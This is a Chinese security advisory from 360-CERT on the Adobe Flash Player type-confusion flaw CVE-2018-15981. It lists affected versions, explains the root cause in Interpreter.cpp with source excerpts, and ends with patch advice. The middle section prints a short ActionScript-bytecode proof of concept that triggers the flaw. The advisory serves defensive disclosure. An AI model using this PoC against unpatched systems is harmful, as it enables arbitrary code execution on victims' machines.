Adobe Flash Player 任意代码执行漏洞(CVE-2018-15981)预警
2018-11-21 18:49

Adobe Flash Player 任意代码执行漏洞(CVE-2018-15981)预警

报告编号:B6-2018-112101

报告来源:360-CERT

报告作者:360-CERT

更新日期:2018-11-21

0x00 事件背景

昨日深夜,Adobe发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新,修补了一枚类型混淆漏洞(CVE-2018-15981)。该漏洞影响Adobe Flash Player 31.0.0.148及以前版本,成功利用会导致任意代码执行。360-CERT对漏洞进行分析,认为该漏洞利用难度低且影响范围广,危害严重。

0x01 影响范围

产品 版本 平台
Adobe Flash Player Desktop Runtime 31.0.0.148 and earlier versions Windows, macOS and Linux
Adobe Flash Player for Google Chrome 31.0.0.148 and earlier versions Windows, macOS, Linux and Chrome OS
Adobe Flash Player for Microsoft Edge and Internet Explorer 11 31.0.0.148 and earlier versions Windows 10 and 8.1

0x02 漏洞分析

漏洞出在Interpreter.cpp文件中:Flash 在异常处理时,重置了状态机的许多变量,并将解释器的PC设置为目标处理程序的地址。但这个过程被过度优化,没有重置with-scope变量。使得攻击者可以构造恶意flash 文件,在对象加载后抛出异常,此时修改对象的成员变量类型,造成类型混淆。

在 Interpreter.cpp 源代码中,定义了一个 withBase 变量,用作scopeBase数组的指针偏移量

register Atom* const scopeBase = framep + ms->local_count();
register Atom* volatile withBase = NULL;
NONDEBUGGER_ONLY( register ) int volatile scopeDepth = 0;
register ScopeChain* const scope = env->scope();

而该变量,在findproperty指令的处理程序处调用。


 INSTR(findproperty) {
            b1 = false;
            findproperty_impl:
                SAVE_EXPC;
                GET_MULTINAME_PTR(multiname, U30ARG);
                if (multiname->isRuntime())
                {
                    aux_memory->multiname2 = *multiname;
                    sp = initMultiname(env, aux_memory->multiname2, sp);
                    multiname = &aux_memory->multiname2;
                }
                *(++sp) = env->findproperty(scope, scopeBase, scopeDepth, multiname, b1, withBase);
                NEXT;
            }

因此攻击者可以利用findproperty指令,对该漏洞进行利用。

利用的PoC如下:

getlocal0
pushscope

getlocal0
findpropstrict QName(PackageNamespace(""), "NewClass2")
constructprop QName(PackageNamespace(""), "NewClass2"), 0
initproperty QName(PackageInternalNs(""), "myvar")

getlocal0
pushwith

L10:
pushbyte 1
throw
L12:
nop
L16:

getlocal0
pushscope
pushint 534568
newobject 1
coerce QName(PackageNamespace(""), "Object")

pushscope

findproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])

getslot 1

returnvoid

0x03 安全建议

该漏洞利用难度低且影响范围广,危害严重。因此360-CERT强烈建议用户对Adobe Flash Player进行更新。

目前相关补丁已经发布,用户可以使用软件内部的“更新”功能,或者访问 https://www.flash.cn/ 下载最新版本的应用。

0x04 时间线

2018-11-20 Adobe发布安全公告

2018-11-21 360-CERT 发布预警

0x05 参考链接

  1. Adobe安全公告
  2. 漏洞详情